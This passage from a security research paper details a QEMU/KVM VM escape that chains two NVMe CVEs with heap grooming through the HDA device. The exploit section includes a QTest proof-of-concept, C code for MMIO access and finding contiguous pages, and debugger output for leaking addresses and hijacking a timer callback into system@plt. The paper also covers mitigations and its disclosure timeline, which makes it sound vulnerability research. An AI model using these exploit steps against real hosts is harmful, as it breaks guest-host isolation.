arbitrary memory read from the host to the guest (ASLR bypass). Last, the nslist is used as
source data of DMA operations later, which can trigger CVE-2021-3929. So we can make the
source data of CVE-2021-3929’s DMA from an arbitrary address (E.g. the guest’s RAM).

We wrote a PoC with comments based on QTest. You can view a detailed output at qiuhao.org.

cat << EOF | ./build/qemu-system-x86_64 -nodefaults -machine type=q35,accel=qtest -nographic

-drive file=null-co://,if=none,format=raw,id=disk0 -device nvme,drive=disk0,serial=1 -qtest

stdio \

outl 0xcf8 0x80000810               /* MLBAR (BAR0) - Memory Register Base Address*/

outl 0xcfc 0xe0000000               /* MMIO Base Address = 0xe0000000 */

outl 0xcf8 0x80000804               /* CMD - Command */

outw 0xcfc 0x06                     /* Bus Master Enable, Memory Space Enable */

write 0xe0000024 0x4 0x02000200     /* Admin Queue Attributes */

write 0xe0000014 0x4 0x01004600     /* Controller Configuration */

write 0xe0001000 0x1 0x01           /* SQyTDBL - Submission Queue y Tail Doorbell */

write 0x00 0x1 0x02                 /* cmd->opcode, nvme_get_log() */

write 0x28 0x4 0x0400ff07           /* cmd->cdw10, lid = 4 nvme_changed_nslist, len = 8k */

write 0x30 0x4 0x10100000           /* cmd->cdw12 = 4098, Log Page Offset */

clock_step

EOF
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5 Exploit Development

5.1 Background & Plan

In this paper, we will leverage CVE-2021-3929 and CVE-2021-3947 in the NVM Express
(NVMe) module of QEMU to achieve a VM escape. The NVMe interface [24] allows host
software to communicate with a non-volatile memory subsystem. This interface is optimized for
solid-state drives, typically attached as a register level interface to the PCI Express interface.
NVMe has two kinds of commands: Admin Command, used to manage and control the SSD
controller by Host (the guest OS); and IO Command, for data transmission between Host and
the SSD. To transfer these commands, NVMe defined three structures: Submission Queue
(SQ), Completion Queue (CQ), and Doorbell (DB). SQ is in the Host memory: When the Host
intends to send a command, it first stores the command in SQ, then notifies the SSD to take
them. CQ is also in the Host memory: When a command is completed, SSD will write
completion status into CQ. The DB is in the SSD and used by the host to notify the SSD to start
processing commands. Figure 5-1 illustrates the commands processing steps:

Figure 5-1 NVMe Command Processing (from nvmexpress.org)

As we said, CVE-2021-3929 is a recursive MMIO flaw triggered by DMA that can cause UAF,
and the freed structure contains a timer pointer. CVE-2021-3947 is an arbitrary memory read
flaw which can be used to bypass ASLR and leak the guest’s RAM address. And there is a
powerful malloc primitive in the HDA device. So our plan to achieve a guest-to-host escape is
following:
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1. In the guest OS, we construct a fake timer and prepare a buffer for the DMA operations
(recursive MMIO write) later.

2. By leveraging CVE-2021-3947, we can leak the virtual address of system@plt and the
virtual address of the guest’s RAM.

3. Since CVE-2021-3929 and CVE-2021-3947 both are on the path of processing the
Changed Namespace List command [24], and the content of the DMA write operations in
CVE-2021-3929 is from the buffer (nslist in section 4.3) in CVE-2021-3947, we can make
the source data of DMA from a buffer in the guest’s RAM (step 1).

4. By leveraging CVE-2021-3929 and CVE-2021-3947, we perform scatter-gather DMA
operations to MMIO regions, and the first MMIO write is to the malloc primitive in the
HDA device, allocating three chunks the same size as the QEMU’s timer, thus cleaning
the tcache [44] of the main thread.

5. In the same DMA context, the second recursive MMIO write is to the reset register of the
NVMe controller, releasing the cq structure (put on the main thread’s tcache).

6. In the same DMA context, the last MMIO write is to the malloc primitive in the HDA
device, thus occupying the timer pointer in the freed cq structure and the timer pointer in
cq now points to the fake timer we constructed before.

7. When timer_mod() in nvme_enqueue_req_completion() is called after MMIO operations
are finished. The callback in the fake timer will be called. Since we control the callback
and its parameters, a control flow hijack can be achieved (VM escape).

We will discuss the details in the following text. You can get the PoC code on github.com.

5.2 User-Mode MMIO

We develop the exploitation in the guest’s userspace. To trigger MMIO from Ring 3, we need to
execute the exploit program as root. For the techs to map the MMIO region to virtual address
space and convert physical address to virtual address, you can refer to [25] [26] and the source
code. For example, the code to submit command is like:

mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ACQ, cqes_phys_addr); /* cq dma_addr */

mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ACQ + 4, (cqes_phys_addr >> 32));

mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ASQ, cmds_phys_addr); /* sq dma_addr */

mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ASQ + 4, (cmds_phys_addr >> 32));

mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_AQA, 0x200020); /* init, sq_size = 32 + 1 */

mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_CC, 0); /* reset */

mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_CC, ((4 << 20) + (6 << 16) + 1)); /* start */

mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_SQyTDBL, 0x1); /* set tail to 1 for command */
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It should be noted that DMAs in NVMe require the data laid on continuous physical pages. To
get these pages in the userspace, we wrote a hackish code that keeps mapping pages and
analyzes if there are continuous physical pages we need:

do

{

if (mem != NULL) {

munmap(mem, map_len);

}

mem = mmap(NULL, map_len, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);

mlock(mem, map_len);

memset(mem, 0, map_len);

for (void *vp1 = mem; vp1 < mem + map_len; vp1 += PAGE_SIZE) {

void *vp2 = MIN(vp1 + PAGE_SIZE, mem + 511 * PAGE_SIZE);

void *vp3 = MIN(vp2 + PAGE_SIZE, mem + 511 * PAGE_SIZE);

/* mmio_buf (3 pages) need to be physically contiguous. Wish us good luck! */

if (virt_to_phys(vp1) + PAGE_SIZE == virt_to_phys(vp2) && virt_to_phys(vp2) +

PAGE_SIZE == virt_to_phys(vp3)) {

mmio_buf = vp1;

}

}

} while (mmio_buf == NULL);

5.3 Bypass ASLR

In section 4.3, we said we control the host-to-guest data offset of a stack array (nslist below). So
even if we successfully leak the guest’s RAM, we still need to know the distance between nslist
and the guest’s RAM to let the data come from the guest’s RAM. Let’s leak the nslist first.

static uint16_t nvme_changed_nslist(NvmeCtrl *n, uint8_t rae, uint32_t buf_len,

uint64_t off, NvmeRequest *req)

{

uint32_t nslist[1024];

uint32_t trans_len;

int i = 0;

uint32_t nsid;

memset(nslist, 0x0, sizeof(nslist));

// sizeof(nslist) = 4096, integer underflow!

trans_len = MIN(sizeof(nslist) - off, buf_len);

/* ...... */

// transmit data to the guest, stack overflow!

return nvme_c2h(n, ((uint8_t *)nslist) + off, trans_len, req);

}
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We can overflow the array and get the save RBP register (previous frame address) on the stack
to get its address. Since the relative distance between the last RBP and nslist is decided at
compile time, we can get nslist’s address by subtracting the distance from the leaked RBP.

nslist is an array of 1024 uint32_t. The saved RBP is at &nslist + sizeof(uint32_t) * 1024 + 8 + 8:

gef➤  bt

#0  nvme_changed_nslist at ../hw/nvme/ctrl.c:4198

#1  0x000055a9616f6a31 in nvme_get_log at ../hw/nvme/ctrl.c:4285

#2  0x000055a9616f99ba in nvme_admin_cmd at ../hw/nvme/ctrl.c:5475

#3  0x000055a9616f9d30 in nvme_process_sq at ../hw/nvme/ctrl.c:5530

#4  0x000055a961c69e7b in timerlist_run_timers at ../util/qemu-timer.c:573

#5  0x000055a961c69f24 in qemu_clock_run_timers at ../util/qemu-timer.c:587

#6  0x000055a961c6a219 in qemu_clock_run_all_timers at ../util/qemu-timer.c:669

#7  0x000055a961ca15ab in main_loop_wait at ../util/main-loop.c:542

#8  0x000055a961a1316a in qemu_main_loop at ../softmmu/runstate.c:726

#9  0x000055a96158ed3a in main at ../softmmu/main.c:50

gef➤  frame

#0  nvme_changed_nslist at ../hw/nvme/ctrl.c:4198

4198 return nvme_c2h(n, ((uint8_t *)nslist) + off, trans_len, req);

gef➤  x /g ((void *)&nslist + sizeof(uint32_t) * 1024 + 16)

0x7fff983e3860: 0x00007fff983e38f0

gef➤  p 0x00007fff983e38f0 - (uint64_t)&nslist

$226 = 0x10a0

So we can get virtual address of nslist as:

*(uint64_t *)((void *)&nslist + 0x1010) - 0x10a0

Similarly, we can find a stable global variable on the stack, thus leaking the address of ELF.
Since we can dump the process and get the offset between ELF base and plt (0x3D2C24
below), we can get the virtual address of system@plt.

gef➤  p *(uint64_t *)(((uint8_t *)nslist) + 0x1730) - 0x40

$228 = 0x55a9611ba000

gef➤  vmmap

[ Legend:  Code | Heap | Stack ]

Start              End                Offset             Perm Path

0x000055a9611ba000 0x000055a961587000 0x0000000000000000 r--

/home/qiuhao/tmp/qemu-6.1.0/build/qemu-system-x86_64

......

gef➤  x /i 0x55a9611ba000 + 0x3D2C24

0x55a96158cc24 <system@plt+4>: bnd jmp QWORD PTR [rip+0xbc70f5]
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As we said in section 1.2, all MemoryRegion backed by mapped memory on the host will have a
corresponding pointer in the RAMBlock’s host field. The guest’s RAM is initialized during the pc
board setup of QEMU, and we can find a pointer in the heap which points to the RAM. So if we
can leak the address of the heap and search through it, we can get the guest’s RAM address.

Luckily, after some reviews on the stack, we found a stable pointer that points to a variable in
the heap, and its value is always smaller than the RAMBlock’s host field. So instead of getting
the base address of the heap, we can just search start from this pointer. It didn’t take long
before we found the RAM’s address:

qiuhao@pc:~/tmp/qemu-6.1.0/build$ ps -ef | grep type=q35 | awk '{ print $2}'| head -1 |

xargs pmap  | grep 2097152

00007f8207e00000 2097152K rw---   [ anon ]

------

gef➤  p *(uint64_t *)((uint8_t *)nslist + 0x11b0)

$233 = 0x55a963640788

gef➤  find /g 0x55a963640788, +20000, 0x7f8207e00000

0x55a9636449d8

1 pattern found.

The next problem is how to find the RAM’s pointer on the heap. We observed that the virtual
address of RAM is always aligned to 14M (ends with 0xe00000) when we set the guest’s RAM
size as 2G. And there is a stable pointer on stack that points to a mapped memory region
whose high address (ram_mask) is the same as the RAM’s high address:

gef➤  p *(uint64_t *)((uint8_t *)nslist + 0x1020)

$234 = 0x7f82000f8ef0

Considering that only 48-bit addresses are available, we can design the following three search
patterns. By searching on the heap in units of 8 bytes, we finally got the virtual address of the
guest’s RAM.

uint64_t tmp = *(uint64_t *)(leak_heap + search_index);

(tmp & ram_mask) == ram_mask;

(tmp & 0x1fffff) /* 0xe00000 */ == 0;

(tmp & ~0x00007fffffffffff) == 0;

Figure 5-2 shows our strategy to leak the guest’s RAM address. For more details, you can refer
to the leak_*() functions in the source code.
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Figure 5-2 Process of Leaking Guest’s RAM Address

5.4 Hijack Control Flow

When handling the Get Log Page command (admin command), the NVMe controller writes the
data to destinations described by a structure called PRP (Physical Region Page) [45]. A PRP
Entry is a 64-bit memory physical address divided into two parts: page start address and page
offset. There are two PRP registers, PRP1 points to a page, and PRP2 can point to a PRP List
which contains a list of PRP entries.

As we said in section 3.3 and section 5.1, we need to trigger three discrete MMIO writes using
the Changed Namespace List command, so we need three valid PRP entries:

1. The first PRP page writes to intel-hda MMIO registers IN1 CTL, IN2 CTL, and IN3 CTL,
thus allocating three 0x30-byte (size of QEMUTimer) chunks. Now the tcache of the
main thread has at least three free slots. The reason that we must clean the tcache is
that we found allocator (glibc 2.34) will put the free chunk back the to thread in which the
chunk is allocated (MMIO write from the guest, NVMe start command, vCPU thread) if
the current thread’s tcache (MMIO writes in the timer’s callback, main thread) is full. This
will prevent us from occupying the freed chunk.
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2. The second PRP page writes to nvme's reset function, which frees the cq->timer (put on
the main thread’s tcache).

3. The third PRP page writes to intel-hda MMIO register IN0 CTL to malloc one 0x30-byte
chunk and writes crafted content into it, making cq->timer points to a mock object in the
guest’ RAM.

Figure 5-3 shows the structure of our PRP structure, and the goal of each page / MMIO write:

Figure 5-3 PRP Structure During Exploiting

There is another thing that should be noted: Because the free call will put metadata at the
beginning of the freed chunk, if we only submit one Changed Namespace List command to the
sq, the assert(cq->cqid == req->sq->cqid) will fail since cq->cqid is corrupted. This assertion
happens before the MMIO operation to HDA IN0 CTL so we can’t go forward. We can submit
multiple commands (32 in source code) to address the problem, and only the last one is the
get-log command.

After the recursive MMIO operations, a callback function named notify_cb can be called:

void timerlist_notify(QEMUTimerList *timer_list)

{

if (timer_list->notify_cb) {

timer_list->notify_cb(timer_list->notify_opaque, timer_list->clock->type);

} else {

qemu_notify_event();

}

}
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Since timer_list is in the guest’s RAM controlled by us, we can let it point to a region in the guest
OS, thus controlling the call’s destination and its parameters notify_opaque, clock->type. In the
demonstration below, we make the notify_cb point to system@plt and let notify_opaque point to
a string “/usr/bin/gnome-calculator” in the guest’s RAM, thus executing a calculator on the host.
We omit some details above. For more information about the exploit development, you can refer
to the source code.

Figure 5-4 VM Escape Demonstration on QEMU/KVM
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6 Potential Mitigations

6.1 Check in Device

In QEMU, PMIO/MMIO accesses from the guest are protected by a global lock “Big QEMU
Lock” [27], so two vCPUs cannot simultaneously call into virtual devices. Thus we can add busy
flags to every device: When we enter the MMIO or BH/Timer callback function, the busy flag is
set, and when the IO operation is completed, the busy flag is unset. If the busy flag is set when
we enter the device, an error will be reported and returned. The disadvantage of this solution is
that we need to add code in different locations according to the implementation of different
devices, which requires a lot of audits and code. The left part of Figure 6-1 illustrates the design
of this solution.

Figure 6-1 Check in Device & Log on Bus Prevent Recursive MMIO: A -> B -> A

6.2 Log on Bus

To solve the shortcomings of the above solution, we can put the checks on the bus instead of
the device: By analyzing the data destination address on the bus, the access that can generate
a loop is prevented. However, since we want to avoid A -> B -> A (recursive MMIO on A), A -> B
-> C -> D -> B (recursive MMIO on B), but allow A -> B -> C -> D, we need to record all the
devices that have been accessed and release the records when the access is over. This will be
O(n) complexity in time or space in the worst case. And this solution cannot handle the
BH/Timer -> MMIO Handler situations because BH/Timer callback is not triggered by IO VM-exit
but called in the main thread’s context, so we don’t know the device that sets the BH/Timer. The
right part of Figure 6-1 illustrates the design of this solution.
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6.3 Hybrid Solution

This solution puts the check on the bus and leaves the device to decide whether to allow writing
to the non-RAM area (like the MMIO region). When the device performs data transmission, a
permission parameter is also attached. The bus checks the access according to the parameter
to prevent the device from writing to a non-RAM area. The advantage of this scheme is its good
performance (no need to record, check and release the visited devices dynamically). And the
modification to the device is small because we only need to care about the data transmission
calls. The most reviewed patch (RFC) for recursive MMIO uses this solution [28].
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7 QEMU Security Process

In 2011, the first bug which may be caused by recursive MMIO or device reentry was reported
[29], but it didn’t get in-depth audited or repaired.

In June 2020, a security researcher re-reported the flaw with an assertion failure triggered by a
fuzzer [29], but received no response.

In July 2020, Dr. Alexander Bulekov from Boston University reported multiple crashes [30]. The
community confirmed for the first time that these bugs were mainly caused by DMA reentrancy.
At this time, the first CVE ID was assigned: CVE-2020-15859 [31] (DoS).

In September 2020, Li Qiang [32] from Ant Group and Philippe [33] from Red Hat began to
submit the first version of the patch (RFC), respectively. Philippe's patch used the solution in
section 6.3, and Li Qiang used the solution in section 6.1. Philippe's patch was widely audited
and adopted, but the merge was shelved [34].

After the first version of the patch, some related crashes were reported (mainly discovered by
the OSS-Fuzz [41]). All of them are classified as DoS [35] [36] [37].

On August 20, 2021, we reported a recursive MMIO flaw in the EHCI controller (CVE-2021-3750
[38]) and provided ideas for exploiting the vulnerability. This vulnerability got a CVSS score of
7.5 (potentially execute arbitrary code within the context of the QEMU process on the host).

On August 23, 2021, Philippe sent the second version of the patch (RFC), but it didn’t get
merged because of compatibility [39].

On October 31, 2021, we reported a recursive MMIO flaw in NVMe (CVE-2021-3929 [40], CVSS
8.2) and later provided the guest-to-host exploit details. Red Hat agreed that the design flaw
"should be fixed ASAP" -- first provide patches for CVE-2021-3750 and CVE-2021-3929, and
merge future patches in the QEMU version 7.0.0 (four months later).
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8 Conclusions

In this paper, we first explore the recursive MMIO design flaw -- a new attack surface in
QEMU/KVM. Then we present how to use CodeQL to find those flaws and exploit primitives.
Finally, we share the details of exploit development and the possible mitigations. There are
some final thoughts we would like to share:

1. This design flaw has a large impact and should be fixed as soon as possible. Any QEMU
or VirtualBox device that can perform DMA and has an MMIO region may be affected.

2. The patch has little impact on performance. Considering that fewer devices are used on
the cloud, developers only need to modify a small amount of code to fix the problem.

3. The recursive MMIO defect has existed in QEMU for a long time, or more than one year
even just considering the large-scale appearance. But it has not been repaired until now
(December 2021). For bugs discussed in section 7, all communication is public except
CVE-2021-3929 -- if you are a malicious hacker, a fast way to attack an open-source
software might be checking its bug tracker instead of finding vulnerability by yourself :)

4. Besides following the upstream patching, downstream vendors should also do offensive
security research. Otherwise, they are likely to expose vulnerabilities to attackers for a
long time.

5. We should pay attention to the different behaviors between virtualization software and
real hardware. For example, the incomplete isolation between DMA and MMIO is the
underlying cause of recursive MMIO flaws in QEMU/KVM (Figure 8-1).

Figure 8-1 Operations between Memory, CPU, and Device
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